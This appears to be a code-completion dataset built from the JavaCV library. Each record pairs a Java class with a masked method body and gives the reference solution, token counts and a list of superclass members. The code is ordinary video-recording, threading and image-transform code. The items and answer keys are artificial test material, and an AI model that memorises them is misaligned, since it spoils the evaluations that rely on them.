public OpenCVFrameRecorder(File file, int imageWidth, int imageHeight) {
this(file.getAbsolutePath(), imageWidth, imageHeight);
}
public OpenCVFrameRecorder(String filename, int imageWidth, int imageHeight) {
this.filename = filename;
this.imageWidth = imageWidth;
this.imageHeight = imageHeight;
this.pixelFormat = 1;
// this.videoCodec = windows ? CV_FOURCC_PROMPT : CV_FOURCC_DEFAULT;
this.videoCodec = windows ? -1 : VideoWriter.fourcc((byte)'I', (byte)'Y', (byte)'U', (byte)'V');
this.frameRate = 30;
}
public void release() throws Exception {
if (writer != null) {
writer.release();
writer = null;
}
}
@Override protected void finalize() throws Throwable {
super.finalize();
release();
}
private static final boolean windows = Loader.getPlatform().startsWith("windows");
private String filename;
private VideoWriter writer = null;
private OpenCVFrameConverter.ToMat converter = new OpenCVFrameConverter.ToMat();
public double getOption(int propId) {
if (writer != null) {
return writer.get(propId);
}
return Double.parseDouble(options.get(Integer.toString(propId)));
}
/**
*
* @param propId Property ID, look at opencv_videoio for possible values
* @param value
*/
public void setOption(int propId, double value) {
options.put(Integer.toString(propId), Double.toString(value));
if (writer != null) {
writer.set(propId, value);
}
}
public void start() throws Exception {<FILL_FUNCTION_BODY>}
/**
* Pixel format is an int and maps to colour if != 0, greyscale otherwise.
*/
private boolean isColour() {
return pixelFormat != 0;
}
/**
* VideoCodec in JavaCV jargon is the same as FourCC code in OpenCV speak
*/
private int fourCCCodec() {
return videoCodec;
}
public void flush() throws Exception {
}
public void stop() throws Exception {
release();
}
public void record(Frame frame) throws Exception {
Mat mat = converter.convert(frame);
if (writer != null) {
writer.write(mat);
} else {
throw new Exception("Cannot record: There is no writer (Has start() been called?)");
}
frame.keyFrame = true;
}
}
|
writer = new VideoWriter(filename, fourCCCodec(), frameRate, new Size(imageWidth, imageHeight), isColour());
for (Entry<String, String> e : options.entrySet()) {
writer.set(Integer.parseInt(e.getKey()), Double.parseDouble(e.getValue()));
}
| 910
| 81
| 991
|
<methods>public non-sealed void <init>() ,public void close() throws org.bytedeco.javacv.FrameRecorder.Exception,public static org.bytedeco.javacv.FrameRecorder create(Class<? extends org.bytedeco.javacv.FrameRecorder>, Class#RAW, java.lang.Object, int, int) throws org.bytedeco.javacv.FrameRecorder.Exception,public static org.bytedeco.javacv.FrameRecorder create(java.lang.String, java.io.File, int, int) throws org.bytedeco.javacv.FrameRecorder.Exception,public static org.bytedeco.javacv.FrameRecorder create(java.lang.String, java.lang.String, int, int) throws org.bytedeco.javacv.FrameRecorder.Exception,public static org.bytedeco.javacv.FrameRecorder createDefault(java.io.File, int, int) throws org.bytedeco.javacv.FrameRecorder.Exception,public static org.bytedeco.javacv.FrameRecorder createDefault(java.lang.String, int, int) throws org.bytedeco.javacv.FrameRecorder.Exception,public abstract void flush() throws org.bytedeco.javacv.FrameRecorder.Exception,public static Class<? extends org.bytedeco.javacv.FrameRecorder> get(java.lang.String) throws org.bytedeco.javacv.FrameRecorder.Exception,public double getAspectRatio() ,public int getAudioBitrate() ,public int getAudioChannels() ,public int getAudioCodec() ,public java.lang.String getAudioCodecName() ,public Map<java.lang.String,java.lang.String> getAudioMetadata() ,public java.lang.String getAudioMetadata(java.lang.String) ,public java.lang.String getAudioOption(java.lang.String) ,public Map<java.lang.String,java.lang.String> getAudioOptions() ,public double getAudioQuality() ,public Map<java.lang.String,java.nio.Buffer> getAudioSideData() ,public java.nio.Buffer getAudioSideData(java.lang.String) ,public java.nio.charset.Charset getCharset() ,public static Class<? extends org.bytedeco.javacv.FrameRecorder> getDefault() ,public java.lang.String getFormat() ,public int getFrameNumber() ,public double getFrameRate() ,public int getGopSize() ,public int getImageHeight() ,public int getImageScalingFlags() ,public int getImageWidth() ,public int getMaxBFrames() ,public int getMaxDelay() ,public Map<java.lang.String,java.lang.String> getMetadata() ,public java.lang.String getMetadata(java.lang.String) ,public java.lang.String getOption(java.lang.String) ,public Map<java.lang.String,java.lang.String> getOptions() ,public int getPixelFormat() ,public int getSampleFormat() ,public int getSampleRate() ,public long getTimestamp() ,public int getTrellis() ,public int getVideoBitrate() ,public int getVideoCodec() ,public java.lang.String getVideoCodecName() ,public Map<java.lang.String,java.lang.String> getVideoMetadata() ,public java.lang.String getVideoMetadata(java.lang.String) ,public java.lang.String getVideoOption(java.lang.String) ,public Map<java.lang.String,java.lang.String> getVideoOptions() ,public double getVideoQuality() ,public Map<java.lang.String,java.nio.Buffer> getVideoSideData() ,public java.nio.Buffer getVideoSideData(java.lang.String) ,public static void init() ,public boolean isInterleaved() ,public abstract void record(org.bytedeco.javacv.Frame) throws org.bytedeco.javacv.FrameRecorder.Exception,public abstract void release() throws org.bytedeco.javacv.FrameRecorder.Exception,public void setAspectRatio(double) ,public void setAudioBitrate(int) ,public void setAudioChannels(int) ,public void setAudioCodec(int) ,public void setAudioCodecName(java.lang.String) ,public void setAudioMetadata(Map<java.lang.String,java.lang.String>) ,public void setAudioMetadata(java.lang.String, java.lang.String) ,public void setAudioOption(java.lang.String, java.lang.String) ,public void setAudioOptions(Map<java.lang.String,java.lang.String>) ,public void setAudioQuality(double) ,public void setAudioSideData(Map<java.lang.String,java.nio.Buffer>) ,public void setAudioSideData(java.lang.String, java.nio.Buffer) ,public void setCharset(java.nio.charset.Charset) ,public void setFormat(java.lang.String) ,public void setFrameNumber(int) ,public void setFrameRate(double) ,public void setGopSize(int) ,public void setImageHeight(int) ,public void setImageScalingFlags(int) ,public void setImageWidth(int) ,public void setInterleaved(boolean) ,public void setMaxBFrames(int) ,public void setMaxDelay(int) ,public void setMetadata(Map<java.lang.String,java.lang.String>) ,public void setMetadata(java.lang.String, java.lang.String) ,public void setOption(java.lang.String, java.lang.String) ,public void setOptions(Map<java.lang.String,java.lang.String>) ,public void setPixelFormat(int) ,public void setSampleFormat(int) ,public void setSampleRate(int) ,public void setTimestamp(long) ,public void setTrellis(int) ,public void setVideoBitrate(int) ,public void setVideoCodec(int) ,public void setVideoCodecName(java.lang.String) ,public void setVideoMetadata(Map<java.lang.String,java.lang.String>) ,public void setVideoMetadata(java.lang.String, java.lang.String) ,public void setVideoOption(java.lang.String, java.lang.String) ,public void setVideoOptions(Map<java.lang.String,java.lang.String>) ,public void setVideoQuality(double) ,public void setVideoSideData(Map<java.lang.String,java.nio.Buffer>) ,public void setVideoSideData(java.lang.String, java.nio.Buffer) ,public abstract void start() throws org.bytedeco.javacv.FrameRecorder.Exception,public abstract void stop() throws org.bytedeco.javacv.FrameRecorder.Exception<variables>protected double aspectRatio,protected int audioBitrate,protected int audioChannels,protected int audioCodec,protected java.lang.String audioCodecName,protected Map<java.lang.String,java.lang.String> audioMetadata,protected Map<java.lang.String,java.lang.String> audioOptions,protected double audioQuality,protected Map<java.lang.String,java.nio.Buffer> audioSideData,protected java.nio.charset.Charset charset,protected java.lang.String format,protected int frameNumber,protected double frameRate,protected int gopSize,protected int imageHeight,protected int imageScalingFlags,protected int imageWidth,protected boolean interleaved,public static final List<java.lang.String> list,protected int maxBFrames,protected int maxDelay,protected Map<java.lang.String,java.lang.String> metadata,protected Map<java.lang.String,java.lang.String> options,protected int pixelFormat,protected int sampleFormat,protected int sampleRate,protected long timestamp,protected int trellis,protected int videoBitrate,protected int videoCodec,protected java.lang.String videoCodecName,protected Map<java.lang.String,java.lang.String> videoMetadata,protected Map<java.lang.String,java.lang.String> videoOptions,protected double videoQuality,protected Map<java.lang.String,java.nio.Buffer> videoSideData
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/Parallel.java
|
Parallel
|
loop
|
class Parallel {
private static final ExecutorService threadPool = Executors.newCachedThreadPool();
public static final String NUM_THREADS = "org.bytedeco.javacv.numthreads";
public static int getNumThreads() {
try {
String s = System.getProperty(NUM_THREADS);
if (s != null) {
return Integer.valueOf(s);
}
} catch (NumberFormatException e) {
throw new RuntimeException(e);
}
return getNumCores();
}
public static void setNumThreads(int numThreads) {
System.setProperty(NUM_THREADS, Integer.toString(numThreads));
}
public static int getNumCores() {
return Runtime.getRuntime().availableProcessors();
}
public static void run(Runnable ... runnables) {
if (runnables.length == 1) {
runnables[0].run();
return;
}
Future[] futures = new Future[runnables.length];
for (int i = 0; i < runnables.length; i++) {
futures[i] = threadPool.submit(runnables[i]);
}
Throwable error = null;
try {
for (Future f : futures) {
if (!f.isDone()) {
f.get();
}
}
} catch (Throwable t) {
error = t;
}
if (error != null) {
for (Future f : futures) {
f.cancel(true);
}
throw new RuntimeException(error);
}
}
public interface Looper {
void loop(int from, int to, int looperID);
}
public static void loop(int from, int to, final Looper looper) {
loop(from, to, getNumThreads(), looper);
}
public static void loop(int from, int to, int numThreads, final Looper looper) {<FILL_FUNCTION_BODY>}
}
|
int numLoopers = Math.min(to-from, numThreads > 0 ? numThreads : getNumCores());
Runnable[] runnables = new Runnable[numLoopers];
for (int i = 0; i < numLoopers; i++) {
final int subFrom = (to-from)*i/numLoopers + from;
final int subTo = (to-from)*(i+1)/numLoopers + from;
final int looperID = i;
runnables[i] = new Runnable() {
public void run() {
looper.loop(subFrom, subTo, looperID);
}
};
}
run(runnables);
| 537
| 180
| 717
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ProCamColorCalibrator.java
|
Settings
|
getProjectorColors
|
class Settings extends BaseChildSettings {
int samplesPerChannel = 4;
double trimmingFraction = 0.01;
double detectedBoardMin = 0.5;
public int getSamplesPerChannel() {
return samplesPerChannel;
}
public void setSamplesPerChannel(int samplesPerChannel) {
this.samplesPerChannel = samplesPerChannel;
}
// public double getTrimmingFraction() {
// return trimmingFraction;
// }
// public void setTrimmingFraction(double trimmingFraction) {
// this.trimmingFraction = trimmingFraction;
// }
public double getDetectedBoardMin() {
return detectedBoardMin;
}
public void setDetectedBoardMin(double detectedBoardMin) {
this.detectedBoardMin = detectedBoardMin;
}
}
private Settings settings;
private MarkerDetector markerDetector = null;
private MarkedPlane boardPlane = null;
private CameraDevice camera = null;
private ProjectorDevice projector = null;
private Color[] projectorColors = null, cameraColors = null;
private int counter = 0;
private CvMat boardSrcPts, boardDstPts;
private CvMat projSrcPts, projDstPts;
private CvMat camKinv;
private IplImage mask, mask2, undistImage;
public int getColorCount() {
return counter;
}
public Color[] getProjectorColors() {<FILL_FUNCTION_BODY>
|
double invgamma = 1/projector.getSettings().getResponseGamma();
int s = settings.samplesPerChannel;
if (projectorColors == null) {
projectorColors = new Color[s*s*s];
cameraColors = new Color[s*s*s];
for (int i = 0; i < projectorColors.length; i++) {
int j = i/s;
int k = j/s;
double r = Math.pow((double)(i%s)/(s-1), invgamma);
double g = Math.pow((double)(j%s)/(s-1), invgamma);
double b = Math.pow((double)(k%s)/(s-1), invgamma);
projectorColors[i] = new Color((float)r, (float)g, (float)b);
}
}
return projectorColors;
| 410
| 226
| 636
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ProjectiveColorTransformer.java
|
Parameters
|
update
|
class Parameters extends ProjectiveTransformer.Parameters {
protected Parameters() {
identityColorParameters = new double[numGains + numBiases];
if (numGains > 0) {
A = CvMat.create(3, 3);
cvSetIdentity(A);
}
if (numBiases > 0) {
b = CvMat.create(3, 1);
cvSetZero(b);
}
switch (numGains) {
case 0: assert (A == null); break;
case 1: identityColorParameters[0] =
(A.get(0) + A.get(4) + A.get(8))/3; break;
case 3: identityColorParameters[0] = A.get(0);
identityColorParameters[1] = A.get(4);
identityColorParameters[2] = A.get(8); break;
case 9: A.get(0, identityColorParameters, 0, 9); break;
default: assert (false);
}
switch (numBiases) {
case 0: assert (b == null); break;
case 1: identityColorParameters[numGains] =
(b.get(0) + b.get(1) + b.get(2))/3; break;
case 3: b.get(0, identityColorParameters, numGains, 3); break;
default: assert (false);
}
reset(false);
}
protected double[] colorParameters = null, identityColorParameters = null;
private CvMat A = null, b = null;
public double[] getColorParameters() {
return colorParameters;
}
public double[] getIdentityColorParameters() {
return identityColorParameters;
}
@Override public int size() {
return super.size() + numGains + numBiases;
}
@Override public double get(int i) {
int s = super.size();
if (i < s) {
return super.get(i);
} else {
return colorParameters[i-s];
}
}
@Override public void set(int i, double p) {
int s = super.size();
if (i < s) {
super.set(i, p);
} else {
if (colorParameters[i-s] != p) {
colorParameters[i-s] = p;
setUpdateNeeded(true);
}
}
}
@Override public void reset(boolean asIdentity) {
super.reset(asIdentity);
resetColor(asIdentity);
}
public void resetColor(boolean asIdentity) {
if (identityColorParameters != null) {
if (!Arrays.equals(colorParameters, identityColorParameters) ||
fakeIdentity != asIdentity) {
fakeIdentity = asIdentity;
colorParameters = identityColorParameters.clone();
setUpdateNeeded(true);
}
}
}
// @Override public boolean addDelta(int i, double scale) {
// int s = super.size();
// if (i < s) {
// return super.addDelta(i, scale);
// } else {
// // gradient varies linearly with intensity, so
// // the increment value is not very important, but
// // referenceCameraImage is good only for the value 1,
// // so let's use that
// int channel = i-s;
// colorParameters[channel] += scale;//1;
// setUpdateNeeded(true);
// return false;
// }
// }
@Override public void compose(ImageTransformer.Parameters p1, boolean inverse1,
ImageTransformer.Parameters p2, boolean inverse2) {
super.compose(p1, inverse1, p2, inverse2);
composeColor(p1, inverse1, p2, inverse2);
}
public void composeColor(ImageTransformer.Parameters p1, boolean inverse1,
ImageTransformer.Parameters p2, boolean inverse2) {
assert (!inverse1 && !inverse2);
Parameters pp1 = (Parameters)p1, pp2 = (Parameters)p2;
CvMat A1 = pp1.getA(), b1 = pp1.getB();
CvMat A2 = pp2.getA(), b2 = pp2.getB();
if (b != null) {
if (pp1.fakeIdentity && X != null) {
CvMat temp = temp3x1.get();
cvMatMul(X, b1, temp);
b1 = temp;
}
if (A2 == null && b2 == null) {
cvCopy(b1, b);
} else if (b1 == null) {
cvCopy(b2, b);
} else if (b2 == null) {
cvMatMul(A2, b1, b);
} else {
cvGEMM(A2, b1, 1.0, b2, 1.0, b, 0);
}
}
if (A != null) {
if (A1 == null) {
cvCopy(A2, A);
} else if (A2 == null) {
cvCopy(A1, A);
} else {
cvMatMul(A2, A1, A);
}
}
switch (numGains) {
case 0: assert (A == null); break;
case 1: colorParameters[0] =
(A.get(0) + A.get(4) + A.get(8))/3; break;
case 3: colorParameters[0] = A.get(0);
colorParameters[1] = A.get(4);
colorParameters[2] = A.get(8); break;
case 9: A.get(0, colorParameters, 0, 9); break;
default: assert (false);
}
switch (numBiases) {
case 0: assert (b == null); break;
case 1: colorParameters[numGains] =
(b.get(0) + b.get(1) + b.get(2))/3; break;
case 3: b.get(0, colorParameters, numGains, 3); break;
default: assert (false);
}
}
public CvMat getA() {
update();
return A;
}
public CvMat getB() {
update();
return b;
}
@Override protected void update() {<FILL_FUNCTION_BODY>}
@Override public Parameters clone() {
Parameters p = new Parameters();
p.set(this);
return p;
}
}
|
if (!isUpdateNeeded()) {
return;
}
switch (numGains) {
case 0: assert (A == null); break;
case 1: A.put(0, colorParameters[0]);
A.put(4, colorParameters[0]);
A.put(8, colorParameters[0]); break;
case 3: A.put(0, colorParameters[0]);
A.put(4, colorParameters[1]);
A.put(8, colorParameters[2]); break;
case 9: A.put(0, colorParameters, 0, 9); break;
default: assert (false);
}
switch (numBiases) {
case 0: assert (b == null); break;
case 1: b.put(0, colorParameters[numGains]);
b.put(1, colorParameters[numGains]);
b.put(2, colorParameters[numGains]); break;
case 3: b.put(0, colorParameters, numGains, 3); break;
default: assert (false);
}
super.update();
setUpdateNeeded(false);
| 1,728
| 294
| 2,022
|
<methods>public void <init>() ,public void <init>(double[]) ,public void <init>(org.bytedeco.javacv.ProjectiveDevice, org.bytedeco.javacv.ProjectiveDevice, CvMat, double[], double[]) ,public void <init>(CvMat, CvMat, CvMat, CvMat, CvMat, double[], double[]) ,public org.bytedeco.javacv.ProjectiveTransformer.Parameters createParameters() ,public CvScalar getFillColor() ,public CvMat getInvK1() ,public CvMat getInvK2() ,public CvMat getK1() ,public CvMat getK2() ,public CvMat getN() ,public CvMat getR() ,public double[] getReferencePoints1() ,public double[] getReferencePoints2() ,public CvMat getT() ,public void setFillColor(CvScalar) ,public void transform(IplImage, IplImage, CvRect, int, org.bytedeco.javacv.ImageTransformer.Parameters, boolean) ,public void transform(CvMat, CvMat, org.bytedeco.javacv.ImageTransformer.Parameters, boolean) ,public void transform(org.bytedeco.javacv.ImageTransformer.Data[], CvRect, org.bytedeco.javacv.ImageTransformer.Parameters[], boolean[]) <variables>protected CvMat[] H,protected static ThreadLocal<CvMat> H3x3,protected CvMat K1,protected CvMat K2,protected CvMat R,protected CvScalar fillColor,protected CvMat invK1,protected CvMat invK2,protected KernelData kernelData,protected CvMat n,protected static ThreadLocal<CvMat> pts4x1,protected double[] referencePoints1,protected double[] referencePoints2,protected CvMat t
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ProjectiveColorTransformerCL.java
|
ProjectiveColorTransformerCL
|
transform
|
class ProjectiveColorTransformerCL extends ProjectiveColorTransformer implements ImageTransformerCL {
public ProjectiveColorTransformerCL(JavaCVCL context, CvMat K1, CvMat K2, CvMat R, CvMat t,
CvMat n, double[] referencePoints1, double[] referencePoints2,
CvMat X, int numGains, int numBiases) {
super(K1, K2, R, t, n, referencePoints1, referencePoints2, X, numGains, numBiases);
final int dotSize = createParameters().size();
this.context = context;
this.HBuffer = context.getCLContext().createFloatBuffer(dotSize*9, CLBuffer.Mem.READ_ONLY);
this.XBuffer = context.getCLContext().createFloatBuffer(dotSize*16, CLBuffer.Mem.READ_ONLY);
if (getClass() == ProjectiveColorTransformerCL.class) {
CLKernel[] kernels = context.buildKernels(
JavaCVCL.fastCompilerOptions + " -DDOT_SIZE=" + dotSize,
"ImageTransformer.cl:ProjectiveColorTransformer.cl",
"transformOne", "transformSub", "transformDot", "reduceOutputData");
oneKernel = kernels[0];
subKernel = kernels[1];
dotKernel = kernels[2];
reduceKernel = kernels[3];
}
}
protected final JavaCVCL context;
protected final CLBuffer<FloatBuffer> HBuffer, XBuffer;
private CLKernel oneKernel, subKernel, dotKernel, reduceKernel;
public JavaCVCL getContext() {
return context;
}
protected void prepareHomographies(CLBuffer HBuffer, int pyramidLevel,
ImageTransformer.Parameters[] parameters, boolean[] inverses) {
FloatBuffer floatH = (FloatBuffer)HBuffer.getBuffer().rewind();
CvMat H = H3x3.get();
for (int i = 0; i < parameters.length; i++) {
prepareHomography(H, pyramidLevel, (ProjectiveColorTransformer.Parameters)parameters[i],
inverses == null ? false : inverses[i]);
for (int j = 0; j < 9; j++) {
floatH.put((float)H.get(j));
}
}
floatH.rewind();
}
protected void prepareColorTransforms(CLBuffer XBuffer, int pyramidLevel,
ImageTransformer.Parameters[] parameters, boolean[] inverses) {
FloatBuffer floatX = (FloatBuffer)XBuffer.getBuffer().rewind();
CvMat X2 = X24x4.get();
for (int i = 0; i < parameters.length; i++) {
prepareColorTransform(X2, pyramidLevel, (ProjectiveColorTransformer.Parameters)parameters[i],
inverses == null ? false : inverses[i]);
for (int j = 0; j < 16; j++) {
floatX.put((float)X2.get(j));
}
}
floatX.rewind();
}
@Override public void transform(CLImage2d srcImg, CLImage2d subImg, CLImage2d srcDotImg,
CLImage2d transImg, CLImage2d dstImg, CLImage2d maskImg,
ImageTransformer.Parameters[] parameters, boolean[] inverses,
InputData inputData, OutputData outputData) {<FILL_FUNCTION_BODY>}
}
|
prepareHomographies(HBuffer, inputData.pyramidLevel, parameters, inverses);
prepareColorTransforms(XBuffer, inputData.pyramidLevel, parameters, inverses);
final int dotSize = parameters[0].size();
final int localSize = parameters.length > 1 ? parameters.length : (inputData.roiWidth > 32 ? 64 : 32);
final int globalSize = JavaCVCL.alignCeil(inputData.roiWidth, localSize);
final int reduceSize = globalSize/localSize;
// allocate buffers if necessary
CLBuffer inputBuffer = inputData.getBuffer(context);
CLBuffer outputBuffer = outputData.getBuffer(context, dotSize, reduceSize);
CLEventList list = new CLEventList(1);
// setup kernel
context.writeBuffer(HBuffer, false); // upload H
context.writeBuffer(XBuffer, false); // upload X
if (inputData.autoWrite) {
inputData.writeBuffer(context);
}
CLKernel kernel = null;
if (subImg == null) {
assert parameters.length == 1;
kernel = oneKernel.putArg(srcImg).putArg(dstImg == null ? transImg : dstImg).putArg(maskImg)
.putArg(HBuffer).putArg(XBuffer).putArg(inputBuffer).putArg(outputBuffer).rewind();
} else if (srcDotImg == null) {
assert parameters.length == 1;
kernel = subKernel.putArg(srcImg).putArg(subImg).putArg(transImg).putArg(dstImg).putArg(maskImg)
.putArg(HBuffer).putArg(XBuffer).putArg(inputBuffer).putArg(outputBuffer).rewind();
} else {
assert parameters.length == dotSize;
kernel = dotKernel.putArg(srcImg).putArg(subImg).putArg(srcDotImg).putArg(maskImg)
.putArg(HBuffer).putArg(XBuffer).putArg(inputBuffer).putArg(outputBuffer).rewind();
}
context.executeKernel(kernel, inputData.roiX, 0, 0,
globalSize, 1, parameters.length,
localSize, 1, parameters.length, list); // execute program
if (reduceSize > 1) {
reduceKernel.putArg(outputBuffer).rewind();
context.executeKernel(reduceKernel, 0, reduceSize, reduceSize);
}
if (outputData.autoRead) {
outputData.readBuffer(context);
}
// CLEvent event = list.getEvent(0);
// System.out.println((event.getProfilingInfo(CLEvent.ProfilingCommand.END) -
// event.getProfilingInfo(CLEvent.ProfilingCommand.START))/1000000.0);
// long res = q.getDevice().getProfilingTimerResolution();
// System.out.println(res);
| 885
| 775
| 1,660
|
<methods>public void <init>(CvMat, CvMat, CvMat, CvMat, CvMat, double[], double[], CvMat, int, int) ,public org.bytedeco.javacv.ProjectiveColorTransformer.Parameters createParameters() ,public int getNumBiases() ,public int getNumGains() ,public CvMat getX() ,public void transform(org.bytedeco.javacv.ImageTransformer.Data[], CvRect, org.bytedeco.javacv.ImageTransformer.Parameters[], boolean[]) ,public void transformColor(IplImage, IplImage, CvRect, int, org.bytedeco.javacv.ImageTransformer.Parameters, boolean) <variables>protected CvMat X,protected CvMat[] X2,protected static ThreadLocal<CvMat> X24x4,protected int numBiases,protected int numGains,protected static ThreadLocal<CvMat> temp3x1
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ProjectiveTransformerCL.java
|
ProjectiveTransformerCL
|
transform
|
class ProjectiveTransformerCL extends ProjectiveTransformer implements ImageTransformerCL {
public ProjectiveTransformerCL(JavaCVCL context) {
this(context, null, null, null, null, null, new double[0], null);
}
public ProjectiveTransformerCL(JavaCVCL context, double[] referencePoints) {
this(context, null, null, null, null, null, referencePoints, null);
}
public ProjectiveTransformerCL(JavaCVCL context, ProjectiveDevice d1, ProjectiveDevice d2, CvMat n,
double[] referencePoints1, double[] referencePoints2) {
// assuming d1 has identity values, use d2's stuff directly
this(context, d1.cameraMatrix, d2.cameraMatrix, d2.R, d2.T, n, referencePoints1, referencePoints2);
}
public ProjectiveTransformerCL(JavaCVCL context, CvMat K1, CvMat K2, CvMat R, CvMat t, CvMat n,
double[] referencePoints1, double[] referencePoints2) {
super(K1, K2, R, t, n, referencePoints1, referencePoints2);
final int dotSize = createParameters().size();
this.context = context;
this.HBuffer = context.getCLContext().createFloatBuffer(dotSize*9, CLBuffer.Mem.READ_ONLY);
if (getClass() == ProjectiveTransformerCL.class) {
CLKernel[] kernels = context.buildKernels(
JavaCVCL.fastCompilerOptions + " -DDOT_SIZE=" + dotSize,
"ImageTransformer.cl:ProjectiveTransformer.cl",
"transformOne", "transformSub", "transformDot", "reduceOutputData");
this.oneKernel = kernels[0];
this.subKernel = kernels[1];
this.dotKernel = kernels[2];
this.reduceKernel = kernels[3];
}
}
protected final JavaCVCL context;
protected final CLBuffer<FloatBuffer> HBuffer;
private CLKernel oneKernel, subKernel, dotKernel, reduceKernel;
public JavaCVCL getContext() {
return context;
}
protected void prepareHomographies(CLBuffer HBuffer, int pyramidLevel,
ImageTransformer.Parameters[] parameters, boolean[] inverses) {
FloatBuffer floatH = (FloatBuffer)HBuffer.getBuffer().rewind();
CvMat H = H3x3.get();
for (int i = 0; i < parameters.length; i++) {
prepareHomography(H, pyramidLevel, (ProjectiveTransformer.Parameters)parameters[i],
inverses == null ? false : inverses[i]);
for (int j = 0; j < 9; j++) {
floatH.put((float)H.get(j));
}
}
floatH.rewind();
}
public void transform(CLImage2d srcImg, CLImage2d subImg, CLImage2d srcDotImg,
CLImage2d transImg, CLImage2d dstImg, CLImage2d maskImg,
ImageTransformer.Parameters[] parameters, boolean[] inverses,
InputData inputData, OutputData outputData) {<FILL_FUNCTION_BODY>}
}
|
prepareHomographies(HBuffer, inputData.pyramidLevel, parameters, inverses);
final int dotSize = parameters[0].size();
final int localSize = parameters.length > 1 ? parameters.length : (inputData.roiWidth > 32 ? 64 : 32);
final int globalSize = JavaCVCL.alignCeil(inputData.roiWidth, localSize);
final int reduceSize = globalSize/localSize;
// allocate buffers if necessary
CLBuffer inputBuffer = inputData.getBuffer(context);
CLBuffer outputBuffer = outputData.getBuffer(context, dotSize, reduceSize);
CLEventList list = new CLEventList(1);
// setup kernel
context.writeBuffer(HBuffer, false); // upload H
if (inputData.autoWrite) {
inputData.writeBuffer(context);
}
CLKernel kernel = null;
if (subImg == null) {
assert parameters.length == 1;
kernel = oneKernel.putArg(srcImg).putArg(dstImg == null ? transImg : dstImg).putArg(maskImg)
.putArg(HBuffer).putArg(inputBuffer).putArg(outputBuffer).rewind();
} else if (srcDotImg == null) {
assert parameters.length == 1;
kernel = subKernel.putArg(srcImg).putArg(subImg).putArg(transImg).putArg(dstImg).putArg(maskImg)
.putArg(HBuffer).putArg(inputBuffer).putArg(outputBuffer).rewind();
} else {
assert parameters.length == dotSize;
kernel = dotKernel.putArg(srcImg).putArg(subImg).putArg(srcDotImg).putArg(maskImg)
.putArg(HBuffer).putArg(inputBuffer).putArg(outputBuffer).rewind();
}
context.executeKernel(kernel, inputData.roiX, 0, 0,
globalSize, 1, parameters.length,
localSize, 1, parameters.length, list); // execute program
if (reduceSize > 1) {
reduceKernel.putArg(outputBuffer).rewind();
context.executeKernel(reduceKernel, 0, reduceSize, reduceSize);
}
if (outputData.autoRead) {
outputData.readBuffer(context);
}
// CLEvent event = list.getEvent(0);
// System.out.println(kernel + " " + (event.getProfilingInfo(CLEvent.ProfilingCommand.END) -
// event.getProfilingInfo(CLEvent.ProfilingCommand.START))/1000000.0);
// long res = q.getDevice().getProfilingTimerResolution();
// System.out.println(res);
| 827
| 724
| 1,551
|
<methods>public void <init>() ,public void <init>(double[]) ,public void <init>(org.bytedeco.javacv.ProjectiveDevice, org.bytedeco.javacv.ProjectiveDevice, CvMat, double[], double[]) ,public void <init>(CvMat, CvMat, CvMat, CvMat, CvMat, double[], double[]) ,public org.bytedeco.javacv.ProjectiveTransformer.Parameters createParameters() ,public CvScalar getFillColor() ,public CvMat getInvK1() ,public CvMat getInvK2() ,public CvMat getK1() ,public CvMat getK2() ,public CvMat getN() ,public CvMat getR() ,public double[] getReferencePoints1() ,public double[] getReferencePoints2() ,public CvMat getT() ,public void setFillColor(CvScalar) ,public void transform(IplImage, IplImage, CvRect, int, org.bytedeco.javacv.ImageTransformer.Parameters, boolean) ,public void transform(CvMat, CvMat, org.bytedeco.javacv.ImageTransformer.Parameters, boolean) ,public void transform(org.bytedeco.javacv.ImageTransformer.Data[], CvRect, org.bytedeco.javacv.ImageTransformer.Parameters[], boolean[]) <variables>protected CvMat[] H,protected static ThreadLocal<CvMat> H3x3,protected CvMat K1,protected CvMat K2,protected CvMat R,protected CvScalar fillColor,protected CvMat invK1,protected CvMat invK2,protected KernelData kernelData,protected CvMat n,protected static ThreadLocal<CvMat> pts4x1,protected double[] referencePoints1,protected double[] referencePoints2,protected CvMat t
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ProjectorDevice.java
|
CalibratedSettings
|
setSettings
|
class CalibratedSettings extends ProjectiveDevice.CalibratedSettings implements Settings {
public CalibratedSettings() { }
public CalibratedSettings(ProjectiveDevice.CalibratedSettings settings) {
super(settings);
if (settings instanceof CalibratedSettings) {
si = new SettingsImplementation(((CalibratedSettings)settings).si);
}
}
SettingsImplementation si = new SettingsImplementation() {
@Override public void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
CalibratedSettings.this.firePropertyChange(propertyName, oldValue, newValue);
}
};
@Override public String getName() { return si.getName(); }
@Override public void setName(String name) { si.setName(name); }
@Override public double getResponseGamma() { return si.getResponseGamma(); }
@Override public void setResponseGamma(double responseGamma) { si.setResponseGamma(responseGamma); }
// @Override public double getNominalDistance() { return si.getNominalDistance(); }
// @Override public void setNominalDistance(double nominalDistance) { si.setNominalDistance(nominalDistance); }
public int getScreenNumber() { return si.getScreenNumber(); }
public void setScreenNumber(int screenNumber) { si.setScreenNumber(screenNumber); }
public long getLatency() { return si.getLatency(); }
public void setLatency(long latency) { si.setLatency(latency); }
public String getDescription() { return si.getDescription(); }
public int getImageWidth() { return si.getImageWidth(); }
public void setImageWidth(int imageWidth) { si.setImageWidth(imageWidth); }
public int getImageHeight() { return si.getImageHeight(); }
public void setImageHeight(int imageHeight) { si.setImageHeight(imageHeight); }
public int getBitDepth() { return si.getBitDepth(); }
public void setBitDepth(int bitDepth) { si.setBitDepth(bitDepth); }
public int getRefreshRate() { return si.getRefreshRate(); }
public void setRefreshRate(int refreshRate) { si.setRefreshRate(refreshRate); }
public boolean isUseOpenGL() { return si.isUseOpenGL(); }
public void setUseOpenGL(boolean useOpenGL) { si.setUseOpenGL(useOpenGL); }
}
private Settings settings;
@Override public ProjectiveDevice.Settings getSettings() {
return (ProjectiveDevice.Settings)settings;
}
public void setSettings(Settings settings) {
setSettings((ProjectiveDevice.Settings)settings);
}
@Override public void setSettings(ProjectiveDevice.Settings settings) {<FILL_FUNCTION_BODY>
|
super.setSettings(settings);
if (settings instanceof ProjectiveDevice.CalibrationSettings) {
